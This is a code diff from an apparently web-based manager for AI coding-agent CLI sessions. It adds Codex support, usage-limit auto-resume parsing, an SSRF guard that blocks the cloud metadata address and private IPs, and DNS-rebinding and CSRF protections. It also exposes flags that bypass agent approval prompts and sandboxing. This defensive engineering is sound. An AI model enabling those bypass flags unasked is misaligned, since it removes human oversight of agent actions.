INTERNAL_ERROR = 'INTERNAL_ERROR',
|
||||
}
|
||||
@@ -41,12 +47,37 @@ export enum ApiErrorCode {
|
||||
const ErrorMessages: Record<ApiErrorCode, string> = {
|
||||
[ApiErrorCode.NOT_FOUND]: 'The requested resource was not found',
|
||||
[ApiErrorCode.INVALID_INPUT]: 'Invalid input provided',
|
||||
[ApiErrorCode.UNAUTHORIZED]: 'Authentication required',
|
||||
[ApiErrorCode.SESSION_BUSY]: 'Session is currently busy',
|
||||
[ApiErrorCode.OPERATION_FAILED]: 'The operation failed',
|
||||
[ApiErrorCode.CONFLICT]: 'Request conflicts with the current state',
|
||||
[ApiErrorCode.ALREADY_EXISTS]: 'Resource already exists',
|
||||
[ApiErrorCode.RATE_LIMITED]: 'Too many requests',
|
||||
[ApiErrorCode.OPERATION_FAILED]: 'The operation failed',
|
||||
[ApiErrorCode.INTERNAL_ERROR]: 'An internal error occurred',
|
||||
};
|
||||
|
||||
/**
|
||||
* Maps each API error code to its HTTP status. Single source of truth for the
|
||||
* stable HTTP contract (see docs/api-reference.md). Applied centrally so every
|
||||
* error response carries a conventional 4xx/5xx status, not 200.
|
||||
*/
|
||||
const ErrorStatus: Record<ApiErrorCode, number> = {
|
||||
[ApiErrorCode.INVALID_INPUT]: 400,
|
||||
[ApiErrorCode.UNAUTHORIZED]: 401,
|
||||
[ApiErrorCode.NOT_FOUND]: 404,
|
||||
[ApiErrorCode.SESSION_BUSY]: 409,
|
||||
[ApiErrorCode.CONFLICT]: 409,
|
||||
[ApiErrorCode.ALREADY_EXISTS]: 409,
|
||||
[ApiErrorCode.OPERATION_FAILED]: 422,
|
||||
[ApiErrorCode.RATE_LIMITED]: 429,
|
||||
[ApiErrorCode.INTERNAL_ERROR]: 500,
|
||||
};
|
||||
|
||||
/** HTTP status for an API error code (defaults to 400 for unknown codes). */
|
||||
export function httpStatusForErrorCode(code: ApiErrorCode): number {
|
||||
return ErrorStatus[code] ?? 400;
|
||||
}
|
||||
|
||||
/**
|
||||
* Hook event types triggered by Claude Code's hooks system
|
||||
*/
|
||||
@@ -82,22 +113,6 @@ export function createErrorResponse(code: ApiErrorCode, details?: string): ApiRe
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Response for quick start operation
|
||||
*/
|
||||
export interface QuickStartResponse {
|
||||
/** Whether the request succeeded */
|
||||
success: boolean;
|
||||
/** Created session ID */
|
||||
sessionId?: string;
|
||||
/** Path to case folder */
|
||||
casePath?: string;
|
||||
/** Case name */
|
||||
caseName?: string;
|
||||
/** Error message if failed */
|
||||
error?: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Information about a case folder
|
||||
*/
|
||||
|
||||
+23
-2
@@ -8,7 +8,7 @@
|
||||
* - SessionConfig — creation-time config (id, workingDir, createdAt)
|
||||
* - SessionOutput — captured stdout/stderr/exitCode
|
||||
* - SessionStatus — 'idle' | 'busy' | 'stopped' | 'error'
|
||||
* - SessionMode — 'claude' | 'shell' | 'opencode' (which CLI backend)
|
||||
* - SessionMode — 'claude' | 'shell' | 'opencode' | 'codex' (which CLI backend)
|
||||
* - ClaudeMode — CLI permission mode ('dangerously-skip-permissions' | 'normal' | 'allowedTools')
|
||||
* - SessionColor — visual differentiation color
|
||||
* - OpenCodeConfig — OpenCode-specific settings (model, autoAllowTools, continueSession)
|
||||
@@ -38,7 +38,7 @@ export type SessionStatus = 'idle' | 'busy' | 'stopped' | 'error';
|
||||
export type ClaudeMode = 'dangerously-skip-permissions' | 'normal' | 'allowedTools';
|
||||
|
||||
/** Session mode: which CLI backend a session runs */
|
||||
export type SessionMode = 'claude' | 'shell' | 'opencode';
|
||||
export type SessionMode = 'claude' | 'shell' | 'opencode' | 'codex';
|
||||
|
||||
/**
|
||||
* Valid Claude CLI effort levels (claude >= 2.1.154).
|
||||
@@ -69,6 +69,21 @@ export interface OpenCodeConfig {
|
||||
configContent?: string;
|
||||
}
|
||||
|
||||
/** Codex (OpenAI CLI) browser rendering strategy. Hybrid TUI is the only supported mode. */
|
||||
export type CodexRenderMode = 'hybrid';
|
||||
|
||||
/** Codex (OpenAI CLI) session configuration */
|
||||
export interface CodexConfig {
|
||||
/** Model identifier (e.g., "gpt-5", "o4-mini"). Passed via --model. */
|
||||
model?: string;
|
||||
/** Resume a previous codex conversation by session id (passed via --resume) */
|
||||
resumeSessionId?: string;
|
||||
/** Bypass approval prompts (passes --dangerously-bypass-approvals-and-sandbox) */
|
||||
dangerouslyBypassApprovals?: boolean;
|
||||
/** Browser rendering strategy for Codex sessions. Hybrid TUI is the only supported mode. */
|
||||
renderMode?: CodexRenderMode;
|
||||
}
|
||||
|
||||
/**
|
||||
* Configuration for creating a new session
|
||||
*/
|
||||
@@ -118,6 +133,10 @@ export interface SessionState {
|
||||
autoCompactThreshold?: number;
|
||||
/** Auto-compact prompt */
|
||||
autoCompactPrompt?: string;
|
||||
/** Auto-resume on usage limit enabled */
|
||||
autoResumeEnabled?: boolean;
|
||||
/** Pending usage-limit auto-resume fire time (epoch ms), if armed */
|
||||
autoResumeAt?: number;
|
||||
/** Image watcher enabled for this session */
|
||||
imageWatcherEnabled?: boolean;
|
||||
/** Total cost in USD */
|
||||
@@ -158,6 +177,8 @@ export interface SessionState {
|
||||
cliLatestVersion?: string;
|
||||
/** OpenCode-specific configuration (only for mode === 'opencode') */
|
||||
openCodeConfig?: OpenCodeConfig;
|
||||
/** Codex-specific configuration (only for mode === 'codex') */
|
||||
codexConfig?: CodexConfig;
|
||||
/** Claude conversation session ID to resume after reboot (set by restore script) */
|
||||
resumeSessionId?: string;
|
||||
/** Claude CLI effort level (soft default via --settings, switchable in-session via /effort) */
|
||||
|
||||
+6
-2
@@ -13,8 +13,12 @@
|
||||
* @module types/update
|
||||
*/
|
||||
|
||||
/** Which init system supervises the running server (decides how we restart it). */
|
||||
export type SupervisorKind = 'systemd' | 'launchd' | 'none';
|
||||
/**
|
||||
* Which init system supervises the running server (decides how we restart it).
|
||||
* `launchd-daemon` = a KeepAlive system-level LaunchDaemon (headless Macs, no GUI
|
||||
* login): restart works by killing the server and letting launchd respawn it.
|
||||
*/
|
||||
export type SupervisorKind = 'systemd' | 'launchd' | 'launchd-daemon' | 'none';
|
||||
|
||||
/** How Codeman was installed — only `git` installs can self-update in place. */
|
||||
export type InstallKind = 'git' | 'npm' | 'unknown';
|
||||
|
||||
@@ -0,0 +1,210 @@
|
||||
/**
|
||||
* @fileoverview Pure detection of Claude Code usage-limit pause messages.
|
||||
*
|
||||
* When a Claude subscription limit (5-hour rolling window, weekly, Opus weekly,
|
||||
* or extra-usage balance) is hit, the Claude Code TUI stops working and prints a
|
||||
* status line with the reset time. These helpers detect that state in cleaned
|
||||
* (ANSI-stripped) terminal output and parse the reset time, so the session
|
||||
* auto-resume feature (SessionAutoOps) can schedule a "continue" nudge.
|
||||
*
|
||||
* Message shapes covered (observed across Claude Code 1.0.x–2.1.x, 2025–2026):
|
||||
* - `5-hour limit reached ∙ resets 8pm` (v1.0.109+ footer)
|
||||
* - `Session limit reached ∙ resets 8pm`
|
||||
* - `Weekly limit reached ∙ resets 6pm`
|
||||
* - `Opus weekly limit reached ∙ resets Oct 6, 1pm`
|
||||
* - `Limit reached · resets 1pm (America/Chicago) · /upgrade to Max…` (v2.0.55+)
|
||||
* - `You've hit your limit · resets 1:40pm (America/New_York)` (v2.1.x)
|
||||
* - `You've hit your weekly limit · resets Mon 12:00am`
|
||||
* - `You've hit your limit · resets May 5 at 9pm (America/New_York)`
|
||||
* - `You're out of extra usage · resets 1pm (America/Los_Angeles)`
|
||||
* - `Claude usage limit reached. Your limit will reset at 2pm (America/New_York)` (v1.0.x inline)
|
||||
* - `Claude AI usage limit reached|1755309600` (raw API, epoch seconds)
|
||||
*
|
||||
* Deliberately conservative: a limit phrase WITHOUT a parseable reset time is
|
||||
* ignored (returns null) so ordinary conversation text mentioning "limit
|
||||
* reached" can't arm the scheduler. The downstream retry loop (re-detection
|
||||
* after each resume attempt) compensates for any parsing imprecision.
|
||||
*
|
||||
* All functions are pure (caller passes `now`) for testability.
|
||||
*
|
||||
* @module usage-limit-patterns
|
||||
*/
|
||||
|
||||
/** Result of scanning terminal output for a usage-limit pause. */
|
||||
export interface UsageLimitDetection {
|
||||
/**
|
||||
* Epoch ms when the limit resets. May be in the past when the matched
|
||||
* message is stale (caller should treat past values as "retry soon").
|
||||
*/
|
||||
resetAt: number;
|
||||
/** Matched message snippet (for logging and UI). */
|
||||
matched: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Limit phrases that indicate Claude stopped on a usage limit.
|
||||
* `\blimit reached` covers all "<X> limit reached" footer variants.
|
||||
*/
|
||||
const LIMIT_PHRASE_PATTERN =
|
||||
/(?:\blimit\s+reached\b|you'?ve\s+hit\s+your\s+(?:\w+\s+)?limit\b|you'?re\s+out\s+of\s+extra\s+usage\b)/gi;
|
||||
|
||||
/**
|
||||
* Reset-time spec following a limit phrase. Captures:
|
||||
* 1 month (weekly resets >1 day out: "Oct 6, 1pm" / "May 5 at 9pm")
|
||||
* 2 day-of-month
|
||||
* 3 day-of-week ("Mon 12:00am")
|
||||
* 4 hour (12h) 5 minutes 6 am/pm 7 IANA timezone in parens (optional)
|
||||
* `resets?` + optional `at` also covers the v1.0.x "will reset at 2pm" form.
|
||||
*/
|
||||
const RESET_TIME_PATTERN =
|
||||
/\bresets?\s+(?:at\s+)?(?:(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)[a-z]*\s+(\d{1,2})(?:\s*,\s*|\s+at\s+)|(sun|mon|tue|wed|thu|fri|sat)[a-z]*\s+)?(\d{1,2})(?::(\d{2}))?\s*(am|pm)\b(?:\s*\(([^()\n]{1,64})\))?/i;
|
||||
|
||||
/** Raw API form: `Claude AI usage limit reached|1755309600` (epoch seconds). */
|
||||
const EPOCH_LIMIT_PATTERN = /\busage\s+limit\s+reached\|(\d{9,11})\b/gi;
|
||||
|
||||
/** How far after a limit phrase the reset-time spec may appear (chars). */
|
||||
const RESET_TIME_WINDOW = 160;
|
||||
|
||||
/** Parsed reset spec must not be further out than this (weekly max ≈ 7 days). */
|
||||
const MAX_RESET_HORIZON_MS = 8 * 24 * 60 * 60 * 1000;
|
||||
|
||||
const MONTHS = ['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec'];
|
||||
const WEEKDAYS = ['sun', 'mon', 'tue', 'wed', 'thu', 'fri', 'sat'];
|
||||
|
||||
const DAY_MS = 24 * 60 * 60 * 1000;
|
||||
|
||||
/**
|
||||
* Current UTC offset of an IANA timezone in ms, or null if unresolvable
|
||||
* (e.g. the `(Etc/Unknown)` failure variant Claude Code can print).
|
||||
* DST transitions inside the wait window can skew the result by an hour;
|
||||
* the auto-resume retry loop absorbs that.
|
||||
*/
|
||||
function zoneOffsetMs(timeZone: string, at: number): number | null {
|
||||
try {
|
||||
const dtf = new Intl.DateTimeFormat('en-US', { timeZone, timeZoneName: 'longOffset' });
|
||||
const name = dtf.formatToParts(at).find((p) => p.type === 'timeZoneName')?.value;
|
||||
if (!name) return null;
|
||||
const m = /^GMT(?:([+-])(\d{1,2})(?::(\d{2}))?)?$/.exec(name);
|
||||
if (!m) return null;
|
||||
if (!m[1]) return 0; // plain "GMT"
|
||||
const sign = m[1] === '-' ? -1 : 1;
|
||||
return sign * (parseInt(m[2], 10) * 60 + (m[3] ? parseInt(m[3], 10) : 0)) * 60_000;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
interface ResetSpec {
|
||||
month?: number; // 0-11
|
||||
dayOfMonth?: number; // 1-31
|
||||
dayOfWeek?: number; // 0-6 (Sun-Sat)
|
||||
hour: number; // 0-23
|
||||
minute: number; // 0-59
|
||||
timeZone?: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Compute the epoch ms for a parsed reset spec. Times are wall-clock in the
|
||||
* given IANA timezone when present (and resolvable), otherwise server-local —
|
||||
* Claude CLI runs on the same host as Codeman, so local time is the right
|
||||
* default. Returns null when the spec is implausible (> ~8 days out).
|
||||
*/
|
||||
function resolveResetSpec(spec: ResetSpec, now: number): number | null {
|
||||
const offset = spec.timeZone ? zoneOffsetMs(spec.timeZone, now) : null;
|
||||
|
||||
// Wall-clock view of "now": shifted-UTC when a zone offset is known,
|
||||
// server-local otherwise. Read/build components with the matching API.
|
||||
const useZone = offset !== null;
|
||||
const wallNow = useZone ? new Date(now + offset) : new Date(now);
|
||||
const get = {
|
||||
year: () => (useZone ? wallNow.getUTCFullYear() : wallNow.getFullYear()),
|
||||
month: () => (useZone ? wallNow.getUTCMonth() : wallNow.getMonth()),
|
||||
date: () => (useZone ? wallNow.getUTCDate() : wallNow.getDate()),
|
||||
day: () => (useZone ? wallNow.getUTCDay() : wallNow.getDay()),
|
||||
};
|
||||
const build = (y: number, mo: number, d: number): number => {
|
||||
const wall = useZone
|
||||
? Date.UTC(y, mo, d, spec.hour, spec.minute)
|
||||
: new Date(y, mo, d, spec.hour, spec.minute).getTime();
|
||||
return useZone ? wall - offset : wall;
|
||||
};
|
||||
|
||||
let ts: number;
|
||||
if (spec.month !== undefined && spec.dayOfMonth !== undefined) {
|
||||
// Explicit date ("Oct 6, 1pm"). More than 2 days in the past → assume year
|
||||
// rollover (message seen near New Year); slightly past → stale, keep as-is.
|
||||
ts = build(get.year(), spec.month, spec.dayOfMonth);
|
||||
if (ts < now - 2 * DAY_MS) {
|
||||
ts = build(get.year() + 1, spec.month, spec.dayOfMonth);
|
||||
}
|
||||
} else if (spec.dayOfWeek !== undefined) {
|
||||
// Day-of-week ("Mon 12:00am") → next occurrence.
|
||||
const delta = (spec.dayOfWeek - get.day() + 7) % 7;
|
||||
ts = build(get.year(), get.month(), get.date() + delta);
|
||||
if (ts <= now) ts += 7 * DAY_MS;
|
||||
} else {
|
||||
// Time-only ("resets 8pm") → next occurrence within 24h.
|
||||
ts = build(get.year(), get.month(), get.date());
|
||||
if (ts <= now) ts += DAY_MS;
|
||||
}
|
||||
|
||||
if (ts > now + MAX_RESET_HORIZON_MS) return null;
|
||||
return ts;
|
||||
}
|
||||
|
||||
/** Parse the reset-time spec found within `window`, or null. */
|
||||
function parseResetTime(window: string, now: number): number | null {
|
||||
const m = RESET_TIME_PATTERN.exec(window);
|
||||
if (!m) return null;
|
||||
|
||||
const hour12 = parseInt(m[4], 10);
|
||||
const minute = m[5] ? parseInt(m[5], 10) : 0;
|
||||
if (hour12 < 1 || hour12 > 12 || minute > 59) return null;
|
||||
const pm = m[6].toLowerCase() === 'pm';
|
||||
const hour = (hour12 % 12) + (pm ? 12 : 0);
|
||||
|
||||
const spec: ResetSpec = { hour, minute };
|
||||
if (m[1] && m[2]) {
|
||||
spec.month = MONTHS.indexOf(m[1].toLowerCase());
|
||||
spec.dayOfMonth = parseInt(m[2], 10);
|
||||
if (spec.dayOfMonth < 1 || spec.dayOfMonth > 31) return null;
|
||||
} else if (m[3]) {
|
||||
spec.dayOfWeek = WEEKDAYS.indexOf(m[3].toLowerCase());
|
||||
}
|
||||
if (m[7]) spec.timeZone = m[7].trim();
|
||||
|
||||
return resolveResetSpec(spec, now);
|
||||
}
|
||||
|
||||
/**
|
||||
* Scan cleaned (ANSI-stripped) terminal output for a usage-limit pause message
|
||||
* with a parseable reset time. Returns the LAST parseable occurrence in the
|
||||
* chunk (most recent on screen), or null when none is found.
|
||||
*/
|
||||
export function detectUsageLimitPause(cleanData: string, now: number = Date.now()): UsageLimitDetection | null {
|
||||
if (!cleanData || !/limit|extra usage/i.test(cleanData)) return null;
|
||||
|
||||
let result: UsageLimitDetection | null = null;
|
||||
|
||||
// Raw API epoch form
|
||||
EPOCH_LIMIT_PATTERN.lastIndex = 0;
|
||||
let em: RegExpExecArray | null;
|
||||
while ((em = EPOCH_LIMIT_PATTERN.exec(cleanData)) !== null) {
|
||||
const resetAt = parseInt(em[1], 10) * 1000;
|
||||
if (resetAt > now + MAX_RESET_HORIZON_MS) continue;
|
||||
result = { resetAt, matched: em[0] };
|
||||
}
|
||||
|
||||
// TUI phrase + "resets <time>" forms
|
||||
LIMIT_PHRASE_PATTERN.lastIndex = 0;
|
||||
let pm: RegExpExecArray | null;
|
||||
while ((pm = LIMIT_PHRASE_PATTERN.exec(cleanData)) !== null) {
|
||||
const window = cleanData.slice(pm.index, pm.index + RESET_TIME_WINDOW);
|
||||
const resetAt = parseResetTime(window, now);
|
||||
if (resetAt !== null) {
|
||||
result = { resetAt, matched: window.slice(0, 80).trim() };
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
/**
|
||||
* @fileoverview Resolve the Codex (OpenAI) CLI binary across common install paths.
|
||||
*
|
||||
* Mirrors opencode-cli-resolver.ts pattern. Finds the `codex` binary
|
||||
* and provides an augmented PATH string for tmux sessions.
|
||||
*
|
||||
* @module utils/codex-cli-resolver
|
||||
*/
|
||||
|
||||
import { execSync } from 'node:child_process';
|
||||
import { existsSync } from 'node:fs';
|
||||
import { dirname, join } from 'node:path';
|
||||
import { homedir } from 'node:os';
|
||||
import { EXEC_TIMEOUT_MS } from '../config/exec-timeout.js';
|
||||
|
||||
/** Common directories where the Codex CLI binary may be installed */
|
||||
const CODEX_SEARCH_DIRS = [
|
||||
join(homedir(), '.codex', 'bin'), // Default install location
|
||||
join(homedir(), '.local', 'bin'), // Alternative install location
|
||||
'/usr/local/bin', // Homebrew / system
|
||||
join(homedir(), '.bun', 'bin'), // Bun global
|
||||
join(homedir(), '.npm-global', 'bin'), // npm global
|
||||
join(homedir(), 'bin'), // User bin
|
||||
];
|
||||
|
||||
/** Cached directory containing the codex binary (empty string = searched but not found) */
|
||||
let _codexDir: string | null = null;
|
||||
|
||||
/**
|
||||
* Finds the directory containing the `codex` binary.
|
||||
* Checks `which codex` first, then falls back to common install locations.
|
||||
* Result is cached for subsequent calls.
|
||||
*
|
||||
* @returns Directory path, or null if not found
|
||||
*/
|
||||
export function resolveCodexDir(): string | null {
|
||||
if (_codexDir !== null) return _codexDir || null;
|
||||
|
||||
// Try `which` first (respects current PATH)
|
||||
try {
|
||||
const result = execSync('which codex', {
|
||||
encoding: 'utf-8',
|
||||
timeout: EXEC_TIMEOUT_MS,
|
||||
}).trim();
|
||||
if (result && existsSync(result)) {
|
||||
_codexDir = dirname(result);
|
||||
return _codexDir;
|
||||
}
|
||||
} catch {
|
||||
// Codex not in PATH, will check common locations
|
||||
}
|
||||
|
||||
for (const dir of CODEX_SEARCH_DIRS) {
|
||||
if (existsSync(join(dir, 'codex'))) {
|
||||
_codexDir = dir;
|
||||
return _codexDir;
|
||||
}
|
||||
}
|
||||
|
||||
_codexDir = ''; // mark as searched, not found
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if Codex CLI is available on the system.
|
||||
*/
|
||||
export function isCodexAvailable(): boolean {
|
||||
return resolveCodexDir() !== null;
|
||||
}
|
||||
@@ -22,8 +22,10 @@ export {
|
||||
execPattern,
|
||||
} from './regex-patterns.js';
|
||||
export { MAX_SESSION_TOKENS } from './token-validation.js';
|
||||
export { isSafePushEndpoint } from './push-endpoint-validation.js';
|
||||
export { stringSimilarity, fuzzyPhraseMatch, todoContentHash } from './string-similarity.js';
|
||||
export { assertNever } from './type-safety.js';
|
||||
export { wrapWithNice } from './nice-wrapper.js';
|
||||
export { findClaudeDir, getAugmentedPath } from './claude-cli-resolver.js';
|
||||
export { resolveOpenCodeDir } from './opencode-cli-resolver.js';
|
||||
export { resolveCodexDir, isCodexAvailable } from './codex-cli-resolver.js';
|
||||
|
||||
@@ -0,0 +1,69 @@
|
||||
/**
|
||||
* @fileoverview SSRF guard for web-push subscription endpoints (security review M7).
|
||||
*
|
||||
* A push `endpoint` is an attacker-suppliable URL that the server fetches via
|
||||
* `webpush.sendNotification`. On the no-auth loopback default a local page (or any
|
||||
* non-browser client) could register an endpoint pointing at the cloud metadata
|
||||
* service (169.254.169.254) or an internal host, turning the server into an SSRF
|
||||
* proxy. We require https and reject IP-literal hosts in private/loopback/
|
||||
* link-local/reserved ranges. DNS-named hosts are allowed (every real push service
|
||||
* — FCM, Mozilla, Apple, WNS — uses a public DNS name); this is checked both at
|
||||
* subscribe time (schema) and again at send time (defense-in-depth).
|
||||
*
|
||||
* Note: a hostname that *resolves* to an internal IP (DNS rebinding) is not caught
|
||||
* here without async resolution; the realistic, documented vector (a direct
|
||||
* internal IP literal) is closed.
|
||||
*/
|
||||
import { isIP } from 'node:net';
|
||||
|
||||
/** True if `host` is an IP literal in a private, loopback, link-local, or reserved range. */
|
||||
function isPrivateOrReservedIp(host: string): boolean {
|
||||
const kind = isIP(host);
|
||||
if (kind === 0) return false; // not an IP literal — a DNS name
|
||||
|
||||
if (kind === 4) {
|
||||
const [a, b] = host.split('.').map(Number);
|
||||
if (a === 0 || a === 10 || a === 127) return true; // unspecified, private, loopback
|
||||
if (a === 169 && b === 254) return true; // link-local (incl. 169.254.169.254 metadata)
|
||||
if (a === 172 && b >= 16 && b <= 31) return true; // private
|
||||
if (a === 192 && b === 168) return true; // private
|
||||
if (a === 100 && b >= 64 && b <= 127) return true; // CGNAT (RFC 6598)
|
||||
if (a >= 224) return true; // multicast + reserved (224.0.0.0+)
|
||||
return false;
|
||||
}
|
||||
|
||||
// IPv6
|
||||
const h = host.toLowerCase();
|
||||
if (h === '::1' || h === '::') return true; // loopback, unspecified
|
||||
if (h.startsWith('fe8') || h.startsWith('fe9') || h.startsWith('fea') || h.startsWith('feb')) return true; // fe80::/10 link-local
|
||||
if (h.startsWith('fc') || h.startsWith('fd')) return true; // fc00::/7 unique-local
|
||||
// IPv4-mapped (::ffff:a.b.c.d). URL/Node may normalize the dotted tail to hex
|
||||
// (::ffff:7f00:1), so handle both forms and re-check the embedded IPv4.
|
||||
const mappedDotted = h.match(/^::ffff:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/);
|
||||
if (mappedDotted) return isPrivateOrReservedIp(mappedDotted[1]);
|
||||
const mappedHex = h.match(/^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/);
|
||||
if (mappedHex) {
|
||||
const hi = parseInt(mappedHex[1], 16);
|
||||
const lo = parseInt(mappedHex[2], 16);
|
||||
return isPrivateOrReservedIp(`${(hi >> 8) & 0xff}.${hi & 0xff}.${(lo >> 8) & 0xff}.${lo & 0xff}`);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate a web-push endpoint URL is safe to fetch server-side.
|
||||
* Requires an https URL whose host is not an internal/reserved IP literal.
|
||||
*/
|
||||
export function isSafePushEndpoint(endpoint: string): boolean {
|
||||
let url: URL;
|
||||
try {
|
||||
url = new URL(endpoint);
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
if (url.protocol !== 'https:') return false;
|
||||
if (!url.hostname) return false;
|
||||
// URL.hostname wraps IPv6 literals in brackets ([::1]); strip them for isIP().
|
||||
const host = url.hostname.replace(/^\[|\]$/g, '');
|
||||
return !isPrivateOrReservedIp(host);
|
||||
}
|
||||
@@ -12,6 +12,7 @@ import type { FastifyInstance, FastifyReply } from 'fastify';
|
||||
import { randomBytes, timingSafeEqual } from 'node:crypto';
|
||||
import { StaleExpirationMap } from '../../utils/index.js';
|
||||
import type { AuthSessionRecord } from '../ports/auth-port.js';
|
||||
import { isAllowedRequestHost, isAllowedRequestOrigin, type HostPolicy } from '../network-auth-policy.js';
|
||||
import {
|
||||
AUTH_SESSION_TTL_MS,
|
||||
MAX_AUTH_SESSIONS,
|
||||
@@ -157,6 +158,40 @@ export function registerAuthMiddleware(app: FastifyInstance, https: boolean): Au
|
||||
return state;
|
||||
}
|
||||
|
||||
/** Methods that don't change server state and so skip the cross-site Origin check. */
|
||||
const SAFE_HTTP_METHODS = new Set(['GET', 'HEAD', 'OPTIONS']);
|
||||
|
||||
/**
|
||||
* Register the anti-DNS-rebinding Host allowlist + cross-site (CSRF) Origin guard.
|
||||
*
|
||||
* This protects the API even on the default no-password install, where there is no
|
||||
* cookie/credential to gate on. It must be registered BEFORE the auth middleware so
|
||||
* forged cross-site or DNS-rebound requests are rejected up front. `getPolicy` is
|
||||
* evaluated per request so a tunnel started at runtime is reflected immediately.
|
||||
*
|
||||
* - Every request: the `Host` header must be in the allowlist (blocks DNS rebinding,
|
||||
* where a custom domain is rebound to 127.0.0.1 but still sends its own name).
|
||||
* - State-changing methods: the `Origin` (when the client sends one — i.e. a browser)
|
||||
* must be same-site (blocks cross-site CSRF, including the text/plain simple-request
|
||||
* trick). Non-browser clients (curl, Claude Code hooks) omit Origin and pass.
|
||||
*
|
||||
* WebSocket upgrades are validated separately in the ws route handler.
|
||||
*/
|
||||
export function registerHostGuard(app: FastifyInstance, getPolicy: () => HostPolicy): void {
|
||||
app.addHook('onRequest', (req, reply, done) => {
|
||||
const policy = getPolicy();
|
||||
if (!isAllowedRequestHost(req.headers.host, policy)) {
|
||||
reply.code(403).send('Forbidden: host not allowed');
|
||||
return;
|
||||
}
|
||||
if (!SAFE_HTTP_METHODS.has(req.method) && !isAllowedRequestOrigin(req.headers.origin, policy)) {
|
||||
reply.code(403).send('Forbidden: cross-site request blocked');
|
||||
return;
|
||||
}
|
||||
done();
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Register security headers and CORS middleware on every response.
|
||||
*/
|
||||
@@ -170,7 +205,12 @@ export function registerSecurityHeaders(app: FastifyInstance, https: boolean): v
|
||||
const scriptSrc =
|
||||
"script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net" + (gesture ? " 'wasm-unsafe-eval'" : '');
|
||||
const connectSrc = "connect-src 'self' wss://api.deepgram.com";
|
||||
const workerSrc = gesture ? "; worker-src 'self' blob:" : '';
|
||||
// blob: workers are needed unconditionally: terminal-ui's _safeYield tick
|
||||
// worker (throttling escape) is created from a Blob URL. Without this, every
|
||||
// page load logs a CSP violation and the worker leg of _safeYield is dead.
|
||||
// Risk is minimal — only same-origin scripts (already governed by script-src)
|
||||
// can construct blob workers.
|
||||
const workerSrc = "; worker-src 'self' blob:";
|
||||
const csp =
|
||||
`default-src 'self'; ${scriptSrc}; style-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net; ` +
|
||||
`img-src 'self' data: blob:; ${connectSrc}; font-src 'self' https://cdn.jsdelivr.net; frame-ancestors 'self'${workerSrc}`;
|
||||
|
||||
@@ -19,3 +19,112 @@ export function isLoopbackBindHost(host: string): boolean {
|
||||
}
|
||||
return normalized.startsWith('::ffff:127.');
|
||||
}
|
||||
|
||||
/**
|
||||
* Hostname suffixes that are always accepted by the Host/Origin allowlist. These
|
||||
* are namespaces an external attacker cannot register DNS-rebinding records under
|
||||
* (tailscale MagicDNS, Cloudflare quick/named tunnels), so accepting them keeps
|
||||
* the project's documented tunnel access paths working without reopening the
|
||||
* rebinding hole. Extend per-deployment via CODEMAN_ALLOWED_HOSTS.
|
||||
*/
|
||||
export const DEFAULT_TRUSTED_HOST_SUFFIXES = ['.ts.net', '.trycloudflare.com', '.cfargotunnel.com'];
|
||||
|
||||
/** Policy inputs for the anti-DNS-rebinding Host allowlist + cross-site Origin guard. */
|
||||
export interface HostPolicy {
|
||||
/** The host the server is bound to (e.g. '127.0.0.1', '0.0.0.0', or a hostname). */
|
||||
bindHost: string;
|
||||
/** Extra allowed hosts: exact lowercased names, or a leading-dot '.suffix' for suffix matches. */
|
||||
allowedHosts: string[];
|
||||
/** Hostname of the currently-active Codeman-managed tunnel, if any. */
|
||||
tunnelHost?: string | null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract the lowercased hostname from a Host/authority value, stripping the port
|
||||
* and IPv6 brackets. Returns null for empty/garbage input.
|
||||
*/
|
||||
export function parseAuthorityHostname(authority: string | undefined): string | null {
|
||||
if (!authority) return null;
|
||||
let h = authority.trim();
|
||||
if (!h) return null;
|
||||
if (h.startsWith('[')) {
|
||||
// [::1] or [::1]:3000
|
||||
const end = h.indexOf(']');
|
||||
if (end === -1) return null;
|
||||
return h.slice(1, end).toLowerCase() || null;
|
||||
}
|
||||
// host:port — only treat a single trailing colon as a port separator so a
|
||||
// bracketless IPv6 literal (multiple colons) is left intact.
|
||||
const first = h.indexOf(':');
|
||||
if (first !== -1 && first === h.lastIndexOf(':')) {
|
||||
h = h.slice(0, first);
|
||||
}
|
||||
return h.toLowerCase() || null;
|
||||
}
|
||||
|
||||
/** Build a HostPolicy from the bind host, CODEMAN_ALLOWED_HOSTS, and an active tunnel URL. */
|
||||
export function buildHostPolicy(bindHost: string, tunnelUrl?: string | null): HostPolicy {
|
||||
const allowedHosts = (process.env.CODEMAN_ALLOWED_HOSTS || '')
|
||||
.split(',')
|
||||
.map((s) => s.trim().toLowerCase())
|
||||
.filter(Boolean);
|
||||
let tunnelHost: string | null = null;
|
||||
if (tunnelUrl) {
|
||||
try {
|
||||
tunnelHost = new URL(tunnelUrl).hostname.toLowerCase();
|
||||
} catch {
|
||||
tunnelHost = null;
|
||||
}
|
||||
}
|
||||
return { bindHost, allowedHosts, tunnelHost };
|
||||
}
|
||||
|
||||
function matchesHost(hostname: string, policy: HostPolicy): boolean {
|
||||
// localhost is reserved (always resolves to loopback, not rebindable).
|
||||
if (hostname === 'localhost') return true;
|
||||
// Any IP literal: a literal address cannot be the target of DNS rebinding — the
|
||||
// browser connected straight to it, there is no name to re-point.
|
||||
if (isIP(hostname) !== 0) return true;
|
||||
const bind = parseAuthorityHostname(policy.bindHost);
|
||||
if (bind && hostname === bind) return true;
|
||||
if (policy.tunnelHost && hostname === policy.tunnelHost) return true;
|
||||
